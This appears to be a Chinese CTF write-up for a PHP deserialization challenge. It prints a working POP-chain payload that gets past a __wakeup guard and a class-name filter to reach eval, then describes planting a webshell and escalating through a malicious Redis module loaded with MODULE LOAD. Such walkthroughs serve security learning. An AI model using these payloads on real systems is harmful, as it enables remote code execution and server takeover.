[天翼杯 2021]esay_eval
[天翼杯 2021]esay_eval
进来就看到源码,是一道php反序列的题
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
扫视一遍首先看到的是A里面的call方法有个eval,要触发A里面的call需要B里面的destruct方法,同时要满足条件1
(1)绕过wakeup函数
B里面的$this->a需要指向A,才能触发A里面的call
(2)B->a=new A;
最后一个if检测:
匹配形如"B":xxxxx:或"A":yyyyy:
这样的字符串,并捕获其中xxx的部分判断每个字符里面有没有1如果没有则输出,因此我们需要用php类名大小写不敏感的特性,new的是时候用小写字母
总结:
A->call=>B->destruct
(1)绕过wakeup函数
(2)B->a=new A;
开始构造
<?php
class a{
public $code = "phpinfo();";
function __call($method,$args){
eval($this->code);
}
}
class b{
function __construct(){
$this->a=new a;
}
function __destruct(){
echo $this->a->a();
}
}
$a=new b();
echo serialize($a);
这时候w3c也出现phpinfo了。。
O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
为了绕过wakeup,现在我们把生成的序列化对象修改一下,把b后面的1改成2
O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
成功执行了
接下来写入一句话木马用蚁剑连接
蚁剑连上后发现权限不够,需要提权
目录下有个 config.php.swp
这个是vim突然崩溃产生的文件,可以用vim -r filename恢复到之前的编辑状态
经过测试mysql连不上,看样子是要用redis连了,蚁剑有自带的redis蚁剑管理插件:
redis蚁剑管理插件
恶意exp:
恶意exp
安装好后在这里打开插件
随后将exp.so上传到/var/www/html,连接redis执行命令
MODULE LOAD “/var/www/html/exp.so”
然后再rce里执行
system.exec “你的命令”
成功拿到flag